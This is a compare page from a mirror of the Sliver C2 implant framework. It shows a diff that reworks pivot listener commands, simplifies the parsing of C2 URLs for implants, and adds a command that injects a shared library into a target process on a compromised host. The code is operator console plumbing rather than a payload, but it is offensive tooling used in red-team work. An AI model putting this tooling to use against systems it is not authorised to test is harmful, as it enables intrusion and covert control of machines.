mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
2
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6553084d4e | ||
|
|
21fa8c71d8 |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.5
|
||||
FROM golang:1.17.2
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -3,8 +3,8 @@
|
||||
#
|
||||
|
||||
GO ?= go
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
ENV = CGO_ENABLED=1
|
||||
TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
|
||||
|
||||
#
|
||||
# Version Information
|
||||
@@ -41,31 +41,42 @@ UNAME_P := $(shell uname -p)
|
||||
|
||||
# If the target is Windows from Linux/Darwin, check for mingw
|
||||
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
|
||||
ifneq (,$(findstring cgosqlite,$(TAGS)))
|
||||
ENV +=CGO_ENABLED=1
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
|
||||
# Programs required for generating protobuf/grpc files
|
||||
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
|
||||
ifeq ($(MAKECMDGOALS), pb)
|
||||
K := $(foreach exec,$(PB_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
|
||||
# *** Darwin ***
|
||||
# *** Start Darwin ***
|
||||
ifeq ($(UNAME_S),Darwin)
|
||||
SED_INPLACE := sed -i ''
|
||||
STATIC_TARGET := macos
|
||||
endif
|
||||
|
||||
ifeq ($(UNAME_P),arm)
|
||||
ENV += GOARCH=arm64
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
|
||||
endif
|
||||
# *** End Darwin ***
|
||||
|
||||
# *** Start Linux ***
|
||||
ifeq ($(UNAME_S),Linux)
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux)
|
||||
# Redefine LDFLAGS to add the static part
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
@@ -77,6 +88,7 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
endif
|
||||
# *** End Linux ***
|
||||
|
||||
#
|
||||
# Targets
|
||||
|
||||
+37
-54
@@ -2069,10 +2069,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// [ Pivots ] --------------------------------------------------------------
|
||||
|
||||
pivotsCmd := &grumble.Command{
|
||||
Name: consts.PivotsStr,
|
||||
Help: "List pivots for active session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr}),
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.PivotsListStr,
|
||||
Help: "List pivots",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsListStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.PivotsCmd(ctx, con)
|
||||
@@ -2081,78 +2081,40 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("i", "id", "", "session id")
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(pivotsCmd)
|
||||
})
|
||||
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.NamedPipeStr,
|
||||
Help: "Start a named pipe pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
|
||||
LongHelp: help.GetHelpFor([]string{consts.NamedPipeStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
|
||||
|
||||
f.String("n", "name", "", "name of the named pipe")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.StartNamedPipeListenerCmd(ctx, con)
|
||||
pivots.NamedPipeListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.TCPListenerStr,
|
||||
Help: "Start a TCP pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}),
|
||||
LongHelp: help.GetHelpFor([]string{consts.TCPListenerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("b", "bind", "", "remote interface to bind pivot listener")
|
||||
f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp pivot listener port")
|
||||
|
||||
f.String("s", "server", "0.0.0.0", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp listen port")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.StartTCPListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.StopStr,
|
||||
Help: "Stop a pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("i", "id", 0, "id of the pivot listener to stop")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.StopPivotListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.DetailsStr,
|
||||
Help: "Get details of a pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("i", "id", 0, "id of the pivot listener to stop")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.PivotDetailsCmd(ctx, con)
|
||||
pivots.TCPListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
@@ -2784,6 +2746,27 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("r", "range", "sliver", "Agents range")
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(operatorCmd)
|
||||
|
||||
// [ LibInject ] -----------------------------------------------------------------
|
||||
libInjectCmd := &grumble.Command{
|
||||
Name: consts.LibInjectStr,
|
||||
Help: "Inject a Linux shared library into a process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LibInjectStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
exec.LibInjectCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.Uint64("pid", "Target process ID")
|
||||
a.String("library-path", "Path to the shared library to inject")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
}
|
||||
con.App.AddCommand(libInjectCmd)
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func LibInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
libPath := ctx.Args.String("library-path")
|
||||
pid := ctx.Args.Uint64("pid")
|
||||
data, err := ioutil.ReadFile(libPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Injecting %s into %d...", libPath, pid), ctrl)
|
||||
libInject, err := con.Rpc.LibInject(context.Background(), &sliverpb.LibInjectReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: pid,
|
||||
Data: data,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if libInject.Response != nil && libInject.Response.Async {
|
||||
con.AddBeaconCallback(libInject.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, libInject)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response: %s", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Injected %s into %d\n", libPath, pid)
|
||||
})
|
||||
con.PrintAsyncResponse(libInject.Response)
|
||||
} else {
|
||||
con.PrintInfof("Injected %s into %d\n", libPath, pid)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -12,7 +12,7 @@ import (
|
||||
|
||||
var (
|
||||
minBeaconInterval = 5 * time.Second
|
||||
ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
|
||||
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
|
||||
)
|
||||
|
||||
// GenerateBeaconCmd - The main command used to generate implant binaries
|
||||
|
||||
@@ -178,46 +178,22 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
mtlsC2 := ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
wgC2 := ParseWGc2(ctx.Flags.String("wg"))
|
||||
c2s = append(c2s, wgC2...)
|
||||
|
||||
httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
httpC2 := ParseHTTPc2(ctx.Flags.String("http"))
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
dnsC2 := ParseDNSc2(ctx.Flags.String("dns"))
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
namedPipeC2 := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
tcpPivotC2 := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
var symbolObfuscation bool
|
||||
@@ -374,74 +350,51 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
|
||||
}
|
||||
|
||||
// ParseMTLSc2 - Parse mtls connection string arg
|
||||
func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
func ParseMTLSc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
uri := url.URL{Scheme: "mtls"}
|
||||
uri.Host = arg
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultMTLSLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
|
||||
// ParseWGc2 - Parse wg connect string arg
|
||||
func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
func ParseWGc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
uri := url.URL{Scheme: "wg"}
|
||||
uri.Host = arg
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultWGLPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
|
||||
// ParseHTTPc2 - Parse HTTP connection string arg
|
||||
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
func ParseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
@@ -450,12 +403,14 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
log.Printf("Failed to parse C2 URL %s", err)
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
log.Printf("Failed to parse C2 URL %s", err)
|
||||
continue
|
||||
}
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
@@ -463,94 +418,76 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
|
||||
// ParseDNSc2 - Parse DNS connection string arg
|
||||
func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
func ParseDNSc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "dns://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
uri := url.URL{Scheme: "dns"}
|
||||
if len(arg) < 1 {
|
||||
continue
|
||||
}
|
||||
// Make sure we have the FQDN
|
||||
if !strings.HasSuffix(arg, ".") {
|
||||
arg += "."
|
||||
}
|
||||
arg = strings.TrimPrefix(arg, ".")
|
||||
|
||||
uri.Host = arg
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
|
||||
// ParseNamedPipec2 - Parse named pipe connection string arg
|
||||
func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
func ParseNamedPipec2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "named-pipe://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
uri, err := url.Parse("namedpipe://" + arg)
|
||||
if len(arg) < 1 {
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
return c2s
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
|
||||
// ParseTCPPivotc2 - Parse tcp pivot connection string arg
|
||||
func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
func ParseTCPPivotc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "tcp-pivot://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
uri := url.URL{Scheme: "tcppivot"}
|
||||
uri.Host = arg
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultTCPPivotPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
return c2s, nil
|
||||
return c2s
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
|
||||
@@ -84,7 +84,7 @@ var (
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.PivotsListStr: pivotListHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
consts.SSHStr: sshHelp,
|
||||
@@ -482,19 +482,21 @@ When using the binary type, you must either:
|
||||
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
|
||||
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
|
||||
pivotListHelp = `[[.Bold]]Command:[[.Normal]] pivots-list [--id SESSIONID]
|
||||
[[.Bold]]About:[[.Normal]] List created pivots
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
List pivots for all sessions:
|
||||
|
||||
pivots-list
|
||||
|
||||
List pivots for a specific session:
|
||||
|
||||
pivots-list --id 1
|
||||
|
||||
List pivots for the current session:
|
||||
|
||||
pivots
|
||||
|
||||
Start a tcp pivot on the current session:
|
||||
|
||||
pivots tcp --bind 0.0.0.0
|
||||
|
||||
`
|
||||
pivots-list
|
||||
`
|
||||
wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
|
||||
[[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
|
||||
@@ -1,96 +0,0 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// PivotDetailsCmd - Display pivots for all sessions
|
||||
func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", pivotListeners.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
id := uint32(ctx.Flags.Int("id"))
|
||||
if id == uint32(0) {
|
||||
selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
id = selectedListener.ID
|
||||
}
|
||||
|
||||
found := false
|
||||
for _, listener := range pivotListeners.Listeners {
|
||||
if listener.ID == id {
|
||||
PrintPivotListenerDetails(listener, con)
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
con.PrintErrorf("No pivot listener with id %d\n", id)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintPivotListenerDetails - Print details of a single pivot listener
|
||||
func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverConsoleClient) {
|
||||
con.Printf("\n")
|
||||
con.Printf(" ID: %d\n", listener.ID)
|
||||
con.Printf(" Protocol: %s\n", PivotTypeToString(listener.Type))
|
||||
con.Printf(" Bind Address: %s\n", listener.BindAddress)
|
||||
con.Printf(" Number of Pivots: %d\n", len(listener.Pivots))
|
||||
con.Printf("\n")
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type)))
|
||||
tw.AppendSeparator()
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Remote Address",
|
||||
})
|
||||
for _, pivot := range listener.Pivots {
|
||||
tw.AppendRow(table.Row{
|
||||
pivot.ID,
|
||||
pivot.RemoteAddress,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -1,64 +0,0 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// SelectPivotListener - Interactive menu to select a pivot listener
|
||||
func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) (*sliverpb.PivotListener, error) {
|
||||
|
||||
// Render selection table
|
||||
buf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
|
||||
for _, listener := range listeners {
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t\n", listener.ID, PivotTypeToString(listener.Type), listener.BindAddress)
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(buf.String(), "\n")
|
||||
options = options[:len(options)-1]
|
||||
if len(options) == 0 {
|
||||
return nil, errors.New("no task to select from")
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon task:",
|
||||
Options: options,
|
||||
}
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for index, value := range options {
|
||||
if value == selected {
|
||||
return listeners[index], nil
|
||||
}
|
||||
}
|
||||
return nil, errors.New("task not found")
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package pivots
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
|
||||
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
if session.OS != "windows" {
|
||||
con.PrintErrorf("Not implemented for %s\n", session.OS)
|
||||
return
|
||||
}
|
||||
|
||||
pipeName := ctx.Flags.String("name")
|
||||
|
||||
if pipeName == "" {
|
||||
con.PrintErrorf("-n parameter missing\n")
|
||||
return
|
||||
}
|
||||
|
